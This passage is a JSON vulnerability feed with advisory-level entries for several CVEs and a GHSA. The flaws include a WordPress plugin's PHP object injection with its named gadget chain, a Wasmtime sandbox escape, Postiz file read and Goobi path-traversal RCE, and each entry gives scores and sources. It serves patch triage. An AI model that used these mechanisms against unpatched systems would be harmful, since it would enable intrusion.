API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115806","cveId":"CVE-2026-115806","aliases":[],"kind":"vulnerability","title":"The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted...","summary":"The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted input in the migration search-and-replace routine (recursiveUnserializeReplace()). An unauthenticated attacker can store a crafted, base64-encoded serialized object in wp_comments.comment_content through the standard comment-submission endpoint (wp-comments-post.php). When an administrator subsequently performs a routine Prime Mover export or restore, the plugin base64-decodes that stored value and passes it to unserialize() with no allowed_classes restriction. A Property-Oriented Programming (POP) chain is present in the plugin's own bundled Freemius library (FS_Clone_Manager::__set → FS_Option_Manager::set_option → store() → update_option()), so no additional plugin or theme is required — the plugin ships the gadget itself.","detail":"The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted input in the migration search-and-replace routine (recursiveUnserializeReplace()). An unauthenticated attacker can store a crafted, base64-encoded serialized object in wp_comments.comment_content through the standard comment-submission endpoint (wp-comments-post.php). When an administrator subsequently performs a routine Prime Mover export or restore, the plugin base64-decodes that stored value and passes it to unserialize() with no allowed_classes restriction. A Property-Oriented Programming (POP) chain is present in the plugin's own bundled Freemius library (FS_Clone_Manager::__set → FS_Option_Manager::set_option → store() → update_option()), so no additional plugin or theme is required — the plugin ships the gadget itself.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T05:17:04.900Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115806","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00549,"percentile":0.45687,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115806&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115806","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115806","type":"primary","publishedAt":"2026-10-24T05:17:04.900Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115806&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115806, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115931","cveId":"CVE-2026-115931","aliases":[],"kind":"vulnerability","title":"Postiz lets a signed-in user ask the backend to run a function on one of their connected channels.","summary":"Postiz lets a signed-in user ask the backend to run a function on one of their connected channels. The backend did not restrict which functions can be requested, so a user could call internal helper functions that were never meant to be reachable from the web interface.\n\nOne of those helpers reads a file from the server's disk. A user who connects a channel whose stored token is a file path can have the backend return the contents of any file it can read, including its environment, which holds the secret used to sign login sessions, the database address and the credentials of connected services. Another helper makes the backend process exit with a single request. Self-registration is open by default, so no existing account and no action by another user is needed.","detail":"Postiz lets a signed-in user ask the backend to run a function on one of their connected channels. The backend did not restrict which functions can be requested, so a user could call internal helper functions that were never meant to be reachable from the web interface.\n\nOne of those helpers reads a file from the server's disk. A user who connects a channel whose stored token is a file path can have the backend return the contents of any file it can read, including its environment, which holds the secret used to sign login sessions, the database address and the credentials of connected services. Another helper makes the backend process exit with a single request. Self-registration is open by default, so no existing account and no action by another user is needed.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T23:17:43.263Z","updatedAt":"2026-10-26T16:54:34.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115931","asOf":"2026-10-26T16:54:34.940Z"},"epss":{"probability":0.00485,"percentile":0.41439,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115931&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115931","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115931","type":"primary","publishedAt":"2026-10-23T23:17:43.263Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115931&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115931, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115893","cveId":"CVE-2026-115893","aliases":[],"kind":"vulnerability","title":"Wasmtime is a runtime for WebAssembly.","summary":"Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend on aarch64 can compile a Wasm br_table instruction with more than approximately 256,000 targets so that it has an incorrect conditional branch target. The branch can then jump to arbitrary other code at a user-controlled offset, allowing a user-controlled Wasm module to escape the sandbox on aarch64 engines using the default Cranelift backend. This issue is fixed in versions 36.0.19, 48.0.7, and 49.0.4.","detail":"Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend on aarch64 can compile a Wasm br_table instruction with more than approximately 256,000 targets so that it has an incorrect conditional branch target. The branch can then jump to arbitrary other code at a user-controlled offset, allowing a user-controlled Wasm module to escape the sandbox on aarch64 engines using the default Cranelift backend. This issue is fixed in versions 36.0.19, 48.0.7, and 49.0.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T22:16:58.820Z","updatedAt":"2026-10-23T22:16:58.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115893","asOf":"2026-10-23T22:16:58.947Z"},"epss":{"probability":0.00432,"percentile":0.37274,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115893","type":"primary","publishedAt":"2026-10-23T22:16:58.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-cxf3-9h37-7rr8","cveId":null,"aliases":[],"kind":"vulnerability","title":"Echo: Rejected WebSocket upgrades can bypass Echo route-level access controls","summary":"Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.\n\nThis can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.","detail":"## Impact\n\nEcho's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.\n\nThis can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.\n\n## Affected versions and patch\n\nThe raw proxy implementation is present throughout the v4 and v5 release lines up to v4.16.0 and v5.4.0. Runtime reproductions confirmed v4.15.0, v4.16.0, v5.0.0 and v5.4.0; source history also shows the missing upgrade-response validation in v4.0.0.\n\nUpgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1) or [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). The patch routes WebSocket upgrades through Go's HTTP reverse proxy and enters a tunnel only after a valid upstream upgrade response. Rejected upgrades remain ordinary HTTP requests.\n\nFix commits: [v4](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f), [v5](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec).\n\n## Workarounds\n\nReject WebSocket upgrade requests before they reach affected Echo proxy routes, or enforce authorization independently at every upstream resource. Merely returning a non-101 response from the upstream does not prevent the vulnerable raw tunnel.\n\n## Credits\n\nReported by @Duodum.\n\nAffected package ranges reported by GitHub:\ngithub.com/labstack/echo/v4: >= 4.0.0, < 4.16.1\ngithub.com/labstack/echo/v5: >= 5.0.0, < 5.4.1","action":"GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1; github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:49:37.000Z","updatedAt":"2026-10-23T20:49:38.000Z","regions":["Global"],"vendor":null,"product":"github.com/labstack/echo/v4, github.com/labstack/echo/v5","stacks":["Go modules","github.com/labstack/echo/v4","github.com/labstack/echo/v5","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-cxf3-9h37-7rr8","asOf":"2026-10-23T20:49:38.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cxf3-9h37-7rr8","url":"https://github.com/advisories/GHSA-cxf3-9h37-7rr8","type":"primary","publishedAt":"2026-10-23T20:49:37.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cxf3-9h37-7rr8, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115812","cveId":"CVE-2026-115812","aliases":[],"kind":"vulnerability","title":"Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server 1.1.11 and earlier might allow remote actors to execute arbitrary code via a...","summary":"Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server 1.1.11 and earlier might allow remote actors to execute arbitrary code via a crafted model archive.\n\n\n\nMulti Model Server is end of life and no fixed version is available. Users should discontinue use of Multi Model Server and migrate to a supported model serving solution.","detail":"Relative path traversal during model archive extraction in Amazon Web Services Multi Model Server 1.1.11 and earlier might allow remote actors to execute arbitrary code via a crafted model archive.\n\n\n\nMulti Model Server is end of life and no fixed version is available. Users should discontinue use of Multi Model Server and migrate to a supported model serving solution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T18:17:21.460Z","updatedAt":"2026-10-23T19:23:01.467Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115812","asOf":"2026-10-23T19:23:01.467Z"},"epss":{"probability":0.00529,"percentile":0.44455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115812&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115812","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115812","type":"primary","publishedAt":"2026-10-23T18:17:21.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115812&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115812, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55486","cveId":"CVE-2026-55486","aliases":[],"kind":"vulnerability","title":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.","summary":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 25.08 to before version 26.05, the IIIF Auth 2.0 endpoints auth/login and auth/token in AuthorizationFlowResource accept an origin query parameter without validation and then (1) embed it into the Content-Security-Policy: frame-ancestors response header and (2) embed it into an HTML response body as a JavaScript single-quoted postMessage argument. Because the attacker controls both the login and token calls that initiate the flow, the unescaped value yields reflected XSS. This issue has been patched in version 26.05.","detail":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 25.08 to before version 26.05, the IIIF Auth 2.0 endpoints auth/login and auth/token in AuthorizationFlowResource accept an origin query parameter without validation and then (1) embed it into the Content-Security-Policy: frame-ancestors response header and (2) embed it into an HTML response body as a JavaScript single-quoted postMessage argument. Because the attacker controls both the login and token calls that initiate the flow, the unescaped value yields reflected XSS. This issue has been patched in version 26.05.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:33.657Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55486","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00257,"percentile":0.1721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55486&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55486","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55486","type":"primary","publishedAt":"2026-10-23T15:17:33.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55486&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55486, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53942","cveId":"CVE-2026-53942","aliases":[],"kind":"vulnerability","title":"Conda Organization Infrastructure is a centralized location for infrastructure codes.","summary":"Conda Organization Infrastructure is a centralized location for infrastructure codes. Prior to commit 9c0f238, a GitHub Actions Pwn Request vulnerability appears to remain present in conda/conda. The affected workflow is .github/workflows/update.yml. It is triggered by issue_comment events containing @conda-bot render or @conda-bot recreate. For the render path, the workflow obtains the pull request head repository and branch from the PR API, checks out that PR-controlled repository/ref using secrets.SYNC_TOKEN, and then runs conda/actions/template-files@7f6830b1428a9bd47f0b068892c77eae95207037. The external template-files action reads its default configuration and templates from the checked-out working directory. In the confirmed finding, that action uses an unsandboxed Jinja2 environment to render attacker-controlled template content. This creates a Pwn Request chain in which an untrusted PR/comment path can reach template rendering in a privileged token context. This issue has been patched via commit 9c0f238.","detail":"Conda Organization Infrastructure is a centralized location for infrastructure codes. Prior to commit 9c0f238, a GitHub Actions Pwn Request vulnerability appears to remain present in conda/conda. The affected workflow is .github/workflows/update.yml. It is triggered by issue_comment events containing @conda-bot render or @conda-bot recreate. For the render path, the workflow obtains the pull request head repository and branch from the PR API, checks out that PR-controlled repository/ref using secrets.SYNC_TOKEN, and then runs conda/actions/template-files@7f6830b1428a9bd47f0b068892c77eae95207037. The external template-files action reads its default configuration and templates from the checked-out working directory. In the confirmed finding, that action uses an unsandboxed Jinja2 environment to render attacker-controlled template content. This creates a Pwn Request chain in which an untrusted PR/comment path can reach template rendering in a privileged token context. This issue has been patched via commit 9c0f238.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:32.157Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53942","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.00325,"percentile":0.25313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53942&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53942","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53942","type":"primary","publishedAt":"2026-10-23T15:17:32.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53942&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53942, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46652","cveId":"CVE-2026-46652","aliases":[],"kind":"vulnerability","title":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.","summary":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, ExternalFilesDownloader.getFilename() extracts the destination filename from a server-supplied Content-Disposition response header and passes it directly to Path.resolve() without stripping directory components. This allows for a malicious HTTP server that the viewer fetches from to supply an absolute path or ../ traversal sequences as the filename, writing attacker-controlled content to an arbitrary path writable by the Tomcat process. When targeting the deployed web-application directory, this yields remote code execution as the tomcat OS user. This issue has been patched in version 26.05.","detail":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, ExternalFilesDownloader.getFilename() extracts the destination filename from a server-supplied Content-Disposition response header and passes it directly to Path.resolve() without stripping directory components. This allows for a malicious HTTP server that the viewer fetches from to supply an absolute path or ../ traversal sequences as the filename, writing attacker-controlled content to an arbitrary path writable by the Tomcat process. When targeting the deployed web-application directory, this yields remote code execution as the tomcat OS user. This issue has been patched in version 26.05.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T15:17:31.593Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46652","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00703,"percentile":0.53005,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-46652&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-46652","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46652","type":"primary","publishedAt":"2026-10-23T15:17:31.593Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-46652&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-46652, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-46651","cveId":"CVE-2026-46651","aliases":[],"kind":"vulnerability","title":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.","summary":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, the DownloadTaskEndpoint WebSocket endpoint (/tasks/download/monitor.socket) in goobi-viewer-core accepts download requests from unauthenticated users. This issue has been patched in version 26.05.","detail":"The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, the DownloadTaskEndpoint WebSocket endpoint (/tasks/download/monitor.socket) in goobi-viewer-core accepts download requests from unauthenticated users. This issue has been patched in version 26.05.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 